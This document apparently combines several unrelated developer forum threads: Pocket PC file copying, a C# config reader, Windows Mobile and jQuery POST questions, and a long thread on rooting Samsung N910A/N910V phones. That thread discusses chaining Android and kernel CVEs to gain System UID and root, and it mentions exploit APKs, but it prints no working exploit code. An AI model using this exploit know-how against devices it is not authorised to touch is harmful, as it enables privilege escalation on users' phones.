copied exe-file is not a valid application

Hi,
I have written a litte application (eMbedded Visual C++) for Pocket PC 2002
to copy an exe-file from the root-directory to the startmenu-directory.
It seems to work fine, but when I start the copied application (the exe-file) I get the message
"... is not a valid Pocket PC application"
What is wrong with this applcation?
Or does anyone know how to call Copy from an Pocket PC application directly?
Here is the code:
// Setup.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
#define SOURCEFILE_NAME "\\banking.exe"
#define DESTINATIONFILE_NAME "\\Windows\\Start Menu\\banking.exe"
#define DESTINATIONFILE_NAME_GERMAN "\\Windows\\Startmenü\\banking.exe"
int WINAPI WinMain( HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
BOOL german = FALSE;
FILE *file = 0;
FILE *rfile = 0;
rfile = fopen (SOURCEFILE_NAME, "rb");
if (!rfile)
{
MessageBox (0, TEXT("Error"), TEXT("Setup"), MB_TOPMOST);
return 1;
}
file = fopen (DESTINATIONFILE_NAME_GERMAN, "wb");
if (!file)
file = fopen (DESTINATIONFILE_NAME, "wb");
else
german = TRUE;
if (file)
{
char buffer [1000];
size_t num_read = 0;
size_t num_written = 0;
size_t num_read_tot = 0;
size_t num_written_tot = 0;
do
{
num_read = fread (buffer, sizeof (char), 1000, rfile);
if (feof(rfile))
break;
num_read_tot += num_read;
if (num_read > 0)
{
num_written= fwrite (buffer, sizeof (char), num_read, file);
num_written_tot += num_written;
}
else
break;
} while (1);
fclose (file);
}
fclose (rfile);
DWORD attr = 0;
BOOL rc = 0;
attr = GetFileAttributes (TEXT(SOURCEFILE_NAME));
if (german)
rc = SetFileAttributes (TEXT(DESTINATIONFILE_NAME_GERMAN), attr);
else
rc = SetFileAttributes (TEXT(DESTINATIONFILE_NAME), attr);
MessageBox (0, TEXT("Ready"), TEXT("Setup"), MB_TOPMOST);
return 0;
}
// END

Hello,
You are trying to reinvent the wheel by copying yourself the info from the file. Use the CopyFile function.
But your error
"... is not a valid Pocket PC application"
Click to expand...

has probably appeared for another reason...

You should also look at SHFileOperation

It's not a good idea to copy *.exe files to start menu...
Create a shortcut with CECreateShortcut(...) instead.
If this is part of a application setup (in a cab file) just create the shortcut with the build in features:
...
[DefaultInstall]
...
CEShortcuts = Shortcuts
...
[Shortcuts]
BankingMenuText,0,banking.exe
...
John

John,
thank you for your comment.
Perhaps you ore someone else can tell me how to create a shortcut (for the banking.exe) from a Pocket PC - application ?
(The background is as follows:
I want to deliver my banking-application on SD-Card;
a little setup-application on the SD-Card copies the banking.exe from SD-Card into the program-directory of the Pocket PC.
And last but not least this setup-application shoult insert a shortcut for the copied banking.exe in the Start Menu.

OK,
cabwiz.exe does exactly the job.
One open question:
How can I achieve, that after executing the cab-file is N O T deleted?

Create Shortcut with SHCreateShortcut.
Not deleting cab file : mark it as read-only on the desktop (before copying) 8)

[Code]C# - App.Config reader

I just want to share my code for reading app.config file. I wrote it earlier for my current project - JWMD Stuick.
I just want it simple and clean and my/an alternative of (I never used it though) OpenNETCF.Configuration.
here's the code
PHP:
using System;
using System.Collections.Generic;
using System.Xml;
using System.Xml.XPath;
using System.IO;
namespace ApplicationConfiguration
{
public class Configuration
{
XmlDocument xmldoc;
string _applicationname = string.Empty;
string _appconfigfile = string.Empty;
Dictionary<string, string> _appSettings = new Dictionary<string, string>();
public Dictionary<string, string> AppSettings
{
get { return _appSettings; }
}
public Configuration()
{
string startup = System.Reflection.Assembly.GetCallingAssembly().GetName().CodeBase;
FileInfo fi = new FileInfo(startup);
this._applicationname = System.IO.Path.GetFileNameWithoutExtension(startup);
this._appconfigfile = System.IO.Path.Combine(fi.DirectoryName.ToString(), _applicationname + ".exe.config");
Read();
}
void Read()
{
xmldoc = new XmlDocument();
xmldoc.Load(this._appconfigfile);
XmlNodeList nodeCol = xmldoc.SelectNodes("//add");
if (nodeCol != null)
{
foreach (XmlNode thisNode in nodeCol)
{
string key = thisNode.Attributes["key"].Value.ToString();
string value = thisNode.Attributes["value"].Value.ToString();
this._appSettings.Add(key, value);
System.Diagnostics.Debug.WriteLine(key + ", " + value);
}
}
}
}
}
to make this work, make sure app config file is named the way Windows Forms rename the app.config.
e.g. your application name is "mysuperapplication" then the app config file must be "mysuperapplication.exe.config"
below is a application test.

Webclient Help

how do i replicate this under windows mobile. The first function works flawlessly however the second version (Which is required to run on windows mobile 6.1-6.5) doesn't.. If anyone has any idea how to fix it i'm willing to try it out.
Thanks
Code:
private static byte[] WebPost(string url, byte[] data)
{
var webClient = new WebClient();
return webClient.UploadData(url, data);
}
This dont.
Code:
private static byte[] WebPost(string url, byte[] data)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
request.Credentials = System.Net.CredentialCache.DefaultCredentials;
request.Timeout = 10000; // 10 secs
request.Method = "POST";
byte[] requestPostBuffer = System.Text.Encoding.GetEncoding(1252).GetBytes(ByteArrayToStr(data));
request.ContentLength = requestPostBuffer.Length;
Stream requestPostData = request.GetRequestStream();
requestPostData.Write(requestPostBuffer, 0, requestPostBuffer.Length);
requestPostData.Close();
// initialize the httpweresponse object
HttpWebResponse webResponse = (HttpWebResponse)request.GetResponse();
// set our encoding
Encoding enc = System.Text.Encoding.GetEncoding(1252);
//initialis the webresponse stream with our encoding
StreamReader webResponseStream = new StreamReader(webResponse.GetResponseStream(),enc);
// create a string to copy it all into.
string streamedData = webResponseStream.ReadToEnd();
webResponse.Close();
webResponseStream.Close();
byte[] convertedResponse = StrToByteArray(streamedData);
convertedResponse = Encoding.Convert(System.Text.Encoding.Default, Encoding.GetEncoding(1252),convertedResponse);
return convertedResponse;
}

prevent POST-request from caching

Hi,
when I try to make a jquery ajax "Typeost" request, I get an 404 not found (from cache) error. I've tried several workarounds to fix this problem but it doesn't worked. Here some code snippets to ilustrate my attempts:
This is my Ajax POST request:
Code:
$.ajaxSetup({
headers: {
"X-Requested-With" : "XMLHttpRequest",
"Content-Type" : "application/atom+xml",
"cache-control" : "no-cache",
"DataServiceVersion" : "2.0",
"X-CSRF-Token" : header_xcsrf_token,
},
cache: false,
});
$.ajax({
type: 'POST',
url: url + new Date().getTime(),
data : data,
beforeSend : function(xhr) {
// crypto call before authentication
var bytes = Crypto.charenc.Binary.stringToBytes(user + ":" + password);
var base64 = Crypto.util.bytesToBase64(bytes);
//build request header
xhr.setRequestHeader("Authorization", "Basic " + base64);
},
success: function(data, status, xhr) {
alert("data sent");
},
error: function(jqXHR, textStatus, errorThrown){
alert(textStatus + " " + errorThrown + " " + jqXHR.status + " " + jqXHR.responseText);
}
});
I've also tried to avoid the AppCache with following code in JAVA onCreate Method:
HTML:
@Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
super.init();
super.appView.getSettings().setAppCacheEnabled(false);
super.loadUrl(Config.getStartUrl());
CookieManager.getInstance().setAcceptCookie(true);
// Set by <content src="index.html" /> in config.xml
//super.loadUrl("file:///android_asset/www/index.html");
}
every time the Ajax Post request is made, it is directed to cache, and I don't know how to prevent it.

You're probably getting a 404 because you're appending the timestamp onto the url without any seperator. Try this...
Code:
$.ajax({
type: 'POST',
url: url + (url.search("?") == -1 ? "?" : "&") + new Date().getTime(),
data : data,
beforeSend : function(xhr) {
// crypto call before authentication
var bytes = Crypto.charenc.Binary.stringToBytes(user + ":" + password);
var base64 = Crypto.util.bytesToBase64(bytes);
//build request header
xhr.setRequestHeader("Authorization", "Basic " + base64);
},
success: function(data, status, xhr) {
alert("data sent");
},
error: function(jqXHR, textStatus, errorThrown){
alert(textStatus + " " + errorThrown + " " + jqXHR.status + " " + jqXHR.responseText);
}
});
That will append either ?nnnnnnnn or &nnnnnnnn to the url, depending on whether it already has a ? in it.

[R&D] Rooting N910A/N910V Models

Welcome​First I have to ask that everyone please follow the rules when posting in here.​The last thread was shut down due to people getting off topic so let's stay on track here, if you have a question that you'd like to ask and are unsure if it belongs here then simply PM me and I'll help. In order to get things going I've added a simple FAQ below for people who may not be up to speed.​
Q: What's needed to root the N910A/N910V?
A: A kernel exploit and an Android OS exploit.
Q: What's the current status?
A: We have a kernel exploit that will work for us and the method to implement it. Our next goal is to apply an Android exploit which will grant us System UID in order to apply our kernel exploit and write root.
Q: What exploit are we using for the kernel side?
A. The exploit will be the work of @zxz0O0 and is based off of CVE-2014-4322. This is confirmed NOT patched by Samsung.
Q: What exploit are we using for Android side?
A. Current target is CVE-2015-1474. We've explored a previous exploit which has proven to work for the Sony Z3 (CVE-2014-7911), but unfortunately Samsung fixed this prior to releasing our devices.
Current Focus - Creating an APK that will exploit CVE-2015-1474 to elevate us to System UID. This is where we are at this current time. We will need a crafty Dev to come up with such APK. I am a novice when it comes to scripting and exploiting but in my free time I've been soaking up as much information as I possibly can to help in the future.

@ZPaul2Fresh8 confirmed that CVE-2014-4322 (qseecom) is fixed in N910AUCU1BNK3 but it might not be in N910AUCU1ANIE.

To clarify, CVE-2014-4322 is NOT patched in ANY baseband version on our devices. CVE-2014-7911 is the patched.
munjeni said:
Its not obfuscated if you think about file called "main"! It is 7z archive but removed first 2 bytes "7z" or hex "377A", just simple open "main" file with hex editor and append 2 bytes 37 7A to the start of the file and save them! It is password protected 7z archive and you must research for password in asembly if you think to open them with 7z I stil have no idea what is purpose of these "main" file (malware?) when there is another one "main" file (tar.gz) which is extracted when you execute file "a", but I know thats a two diferent "main" files!

From @idler1984 , here's the explanation of the 'a' and 'main' files. HERE.

Not sure how to prove something that isn't there... hard to prove a negative. APK is claiming not vulnerable even with the apparent absence of checkAndGetTcObjectClass in the firmware. Someone much smarter than me can attempt to find out why My bet is on @android-DEP ... see post above regarding ServiceExploitActivity.java.

It's been confirmed by me that exploit CVE-2014-7911 has been patched in the latest OTA (NK3 on AT&T) and I believe @zxz0O0 confirmed it on the earlier baseband too. If you're in doubt and you're running the earlier build, just go to system/framework/core.odex and you'll find the function is located there...
Now if you're just skimming through here let me catch everyone up to speed here;​
At this point in order to achieve root for our devices we will need a combination of exploits. There are a ton of CVE's being thrown and I can see why people are getting confused so I'll try to make it easier to understand. I'll break it down by CVE #.
CVE-2014-7911 - Patched so it doesn't matter. Android OS exploit to gain System UID. Not Root
CVE-2014-8609 - Android OS exploit. Possibly our next venture for gaining System UID, I've been told otherwise. Another vulnerability exists that may be easier. CVE-2015-1474
CVE-2014-4322 - Kernel exploit. Un-patched. Used to get Root while in System status.
So we need an exploit to get us System status and from there we pretty much have CVE-2014-4322 exploit to get Root from there.
Now, you may have read about Root solutions such as geifroot & 2014-79xx but forget about them because they are all based on Team Keen's exploit of CVE-2014-7911 which we confirmed has been backported and patched from day 1 on our devices. So in order to proceed we need a new exploit to get System status first... that vulnerability may be 2015-1474....

ZPaul2Fresh8, thanks for this write up. Finally someone who has understood the situation. I'm not really experienced in Java but I believe CVE-2014-8609 will not be useful. This exploit is for broadcasting actions to apps (e.g. dialing), not executing shell commands or binaries.

I understand, but what are the possible Broadcasts at our disposal? Whatever broadcast we send will be of System UID so maybe we can find something if we look hard enough?
I have Liang Chen (Team Keen (http://en.wikipedia.org/wiki/Pwn2Own#Contest_2014)) looking into CVE-2014-8609 to see if we can achieve System UID.

Guys, CVE-2014-4322 root exploit from retme7 is not working, it need a lot of modifications, I am working on this 3 days and I am on 90 percent of luck, I am now stuck with this -> http://forum.xda-developers.com/showpost.php?p=58460530&postcount=1171

Making CVE-2014-4322 a universal one would be quite challenging since it provides write-anywhere without read. It is almost impossible to avoid hard coded offsets. It would be great if there is another read and write anywhere flaw which requires system priv.

I understand, but what are the possible Broadcasts at our disposal? Whatever broadcast we send will be of System UID so maybe we can find something if we look hard enough?
I have Liang Chen (Team Keen (http://en.wikipedia.org/wiki/Pwn2Own#Contest_2014)) looking into CVE-2014-8609 to see if we can achieve System UID.

Okay I decided to try to invoke the android terminal intent to open a new terminal window as a system user. it doesn't work for me but other people on preOTA may be able to get it to work. I disabled the factory reset crap so don't worry about accidently factory resetting your device (like I did to my tablet before I disabled them). You will need to install the android terminal emulator app from the play store prior to opening this app and clicking the button. if you get a terminal window open type whoami and post a screenshot please. If not a simple post saying it doesn't work is fine.

This one looking good https://android.googlesource.com/pl...5d3e74ecc2b973941d8adbe40c6b23094b5abb7^!/#F0
You can decompile settings.apk and search in src/com/android/settings/accounts/AddAccountSettings.smali to see if it is patched or not.

Hey I know it's already been stated but I wanted to confirm for myself. Confirmed... The string "checkAndGetTcObjectClass" exists in system.img.ext4 from NI1 that i pulled off of sammobile.com http://www.sammobile.com/firmwares/download/38838/N910VVRU1ANI1_N910VVZW1ANI1_VZW.zip/. Screenshot below.

Hi, I have implemented terminal emulator internaly into CVE-2014-8609.apk but from some unknown reasons it fail to start when I press "open terminal" button, I have spent 2 hours with this and I am lazy to debug more, sorry, try to decompile mine apk and fix it! Interesting thing I can start internal terminal emulator by command: "am start -n com.example.android.samplesync/jackpal.androidterm.Term", but clicking on button it no want to start

I don't know, I stil receiving sms, only unable to get terminal emulator on button click

I don't understand it. I'm passing the intent the same way the sms intent and format interested t is passed back to the pending intent. It's just not working. I'm trying to make a service to hand it off to withing the app so that once it's intent is hit I can keep it alive in the background service, and then pull it back into the foreground to use it. In theory this should work even though the originating pending intent is killed shortly after the button press.

Yes strange, when I click on "open terminal" it open settings, another clicks doing nothing until I kill app and lunch again, strange. Maybe we need to look into terminal emulator for this? I have no time now, but you can try to open another app?
It open com.google.android.c2dm.intent sucesfully but no terminal emulator, I don't know why.

Your correct, I wonder if terminal emulator has been patched to prevent the broadAnywhere bug from launching it? If so then we need to find another terminal emulator that allows broadAnywhere to launch it with intents. Unless someone has time to search the terminal emulators source to figure out how it's been patched to prevent it..

I did some research and googled the CVE-2014-4322 exploit and I stumbled on a forum for the Sony Xperia for them to achieve root with that exploit - http://forum.xda-developers.com/showthread.php?t=3011598
I don't know if it's useful but I hope it will help somewhere in the process for our phone to be rooted with the same exploit.

Yeah that was covered 50+ pages ago. That's the kernel side of it, we know that will work but first we have to get through the Android side first. That's what 1474 should do for us.
@soupmeister Yes. This is the best place.

This brings the next question.. An educated guess as to whether this will work with lollipop?
Click to expand...
Click to collapse
I would be curious about this also, but only after root is out for pre-Lollipop. The description says through 5.0, which sounds to me like 5.0 is vulnerable but who knows if 5.0.1 or 5.0.2 is. Also Samsung, as we've seen recently with the root that works on other phones using those two CVEs not working on our phones, will backport fixes. I don't know how much Samsung is still tweaking their Lollipop update, but since this seems like a small fix, my money would be on it being fixed in the Samsung Lollipop update.
Btw I've been trying to upload the contents of system.img.ext4 from the AT&T and Verizon tar md5 files to Google Drive for easy reference but it keeps timing out and I don't want to post something missing random files. I'll try with a specialized uploader tool later.
Also CVE-2015-1474 was updated on the 17th to say that it's network exploitable(!) and I guess they gave it a 10.0 score, the highest! This seems to be more serious than that last "worst android bug ever" recently used for root in the last year.
I sure hope whatever tool that gives root that comes out also applies a fix for this. I wouldn't want to walk around with it if I could help it.

So after a bunch of useless posts basically asking to confirm this or thanking that..at least we can count on qcom to brighten our day...

Would still require 1 or 2 additional vulns to exploit. Not so easy to get camera group in modern Android
Click to expand...
Click to collapse
Correct me if I am wrong but camera group should actually be rather easy to take advantage of especially in modern Android. In June this last year the play store rolled out an update that groups all applications for security permissions, so in theory, any app in this group can be used to exploit the vulnerability found. Which means all apps that take picture or record audio are on the table as they are all lumped in together with the camera group.
Basic example of what apps like this can do now that they are grouped.
Camera/Microphone: An app that has permission to take pictures and videos (for example, a camera app) can now gain the permission to record audio. The app could listen to you when you use other apps or when your device’s screen is off.
If this is true than someone much smarter than me should have a lot to fool around with.

Ok I will. These "permission groups" from the play store have nothing to do with this. We are talking about a single android permission (android.permission.CAMERA) and a single linux group ("camera').
In 5.0, and many 4.x devices (i dont think it was all, it might have been all, i just dont care to find my notes, 10hr trip to take son to Dr and back, just got home and freaking tired) the linux group "camera" used in android was severed from the camera permission, declaring this permission does not put your user (app) into the camera group.
Simple test,
adb shell grep -A 10 -B 10 camera /system/etc/permissions/platform.xml
On blackphone (4.4.x), HTC Desire 510 (4.4.x) MotoX 2014 (5.0.x), the above command returned nothing.
One older devices, say 4.2.2 you would get teh following as the output:
<permission name="android.permission.CAMERA" >
<group gid="camera" />
</permission>
This means apps that are granded the permission, are put into the group "camera".
See:
https://android.googlesource.com/platform/frameworks/base/+/android-4.2.2_r1/data/etc/platform.xml
vs
https://android.googlesource.com/platform/frameworks/base/+/android-4.4.2_r1/data/etc/platform.xml
What does this mean? You cant directly talk to what you need to to exploit those camera vulns, you would need to exploit mediaserver, or escalate to system first (Which means squat, if you are system you have 100 ways to root that are easier than these camera bugs). Also must not forget about SEAndroid, might put a snag into it as well, but like ive said I just saw these today, and have been home for a whole 10minutes so far today.
